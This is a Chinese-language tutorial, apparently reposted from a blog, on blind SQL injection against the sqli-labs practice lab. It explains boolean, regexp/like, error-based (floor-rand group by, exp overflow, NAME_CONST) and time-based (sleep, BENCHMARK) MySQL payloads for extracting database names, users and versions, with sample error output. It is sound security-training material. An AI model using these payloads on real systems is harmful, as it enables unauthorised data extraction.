Sqlilab盲注基础

1、盲注的概念

      盲注就是在sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显到前端页面。例如:sqlilabs-less-5

       盲注分三类:基于布尔的盲注、基于时间的盲注、基于报错的盲注

2、常用盲注函数

Left(databse(),1)>'s'

       Explain:database()显示数据库名称,left(a,b)从左侧截取a 的前b 位

ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+

       Explain:substr(a,b,c)从b 位置开始,截取字符串a 的c 长度。Ascii()将某个字符转换

       为ascii 值,其中select table_name information_schema.tables where tables_schema=database()limit 0,1从当前数据库中查找出数据表。

       ascii(substr((select database()),1,1))=98

 ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23

       Explain:mid(a,b,c)从位置b 开始,截取a 字符串的c 位

       Ord()函数同ascii(),将字符转为ascii 值

       regexp 正则注入

       用法介绍:select user() regexp '^[a-z]';

       Explain:正则表达式的用法,user()结果为root,regexp 为匹配root 的正则表达式。匹配user()结果第一个字符是a-z之间的字符。

       第二位可以用select user() regexp '^ro'来进行。

       select user() regexp '^ro[o][o-t]'判断前2位是否为ro,第三位是否为o,第4位是否为o-t之间字符。

       示例介绍:

I  select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));

II select * from users where id=1 and 1=(user() regexp'^ri');

       通过if 语句的条件判断,返回一些条件句,比如if 等构造一个判断。根据返回结果是否等于0 或者1 进行判断。

III  select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);

       这里利用select 构造了一个判断语句。我们只需要依次更换regexp 表达式即可

       '^u[a-z]' -> '^us[a-z]' -> '^use[a-z]' -> '^user[a-z]' -> FALSE

       无法判断的情况下,可以用table_name regexp '^username$'来进行判断。^是从开头进行

       匹配,$是从结尾开始判断。

       like 匹配注入

       和上述的正则类似,mysql 在匹配的时候我们可以用ike 进行匹配。

       用法:select user() like ‘ro%’

       如果是以ro开头,那么返回1,否则返回0

3、基于报错的sql盲注-构造payload返回回显

select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;

       explain:此处有三个点,一是需要concat 计数,二是floor,取得0 or 1,进行数据的重复,三是group by 进行分组,但具体原理解释不是很通,大致原理为分组后数据计数时重复造成的错误。也有解释mysql 的bug 的问题。但是此处需要将rand(0),rand()需要多试几次才行。

  执行结果

Error Code : 1062
Duplicate entry '::root@localhost::1' for key '<group_key>'
(0 ms taken)

       说明user()是root,简化上述sql语句如下:

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

       执行结果

Error Code : 1062
Duplicate entry '5.7.261' for key '<group_key>'
 (0 ms taken)

      说明version()是5.7.261

       如果表被禁用,可以使用:select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))

       如果rand()被禁用,可以使用:select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

 exp函数
select exp(~(select * FROM(SELECT USER())a))

       Exp()为以e 为底的对数函数;版本在5.5.5 及其以上 exp(709)大于709的数会返回

Error Code : 1690
DOUBLE value is out of range in 'exp(710)'            # 数据溢出错误
(0 ms taken)

       对0取反select ~0得到的值是:18446744073709551615>710

       Select Exp(~0) 报错:

Error Code : 1690
DOUBLE value is out of range in 'exp(~(0))'
(0 ms taken)

       结合前面返回0是错误的,来判断注入语句是否正确。

       验证版本

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
Error Code : 1060
Duplicate column name '5.7.26'
(0 ms taken)

4、基于时间的盲注-延时注入

 select If(ascii(substr(database(),1,1))>115,0,sleep(5)) --if 判断语句,条件为假,执行sleep

       Ps:遇到以下这种利用sleep()延时注入语句

       select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.'));

       该语句意思是在0-9 之间找版本号的第一位。但是在我们实际渗透过程中,这种用法是不可取的,因为时间会有网速等其他因素的影响,所以会影响结果的判断。

SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (select database() as current) as tb1;

       BENCHMARK(count,expr)用于测试函数的性能,参数1为次数,参数2为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击,在运行过程中占用大量的cpu 资源。推荐使用sleep()函数进行注入。

5、ascii表

原文地址:https://www.cnblogs.com/smartmsl/p/12260696.html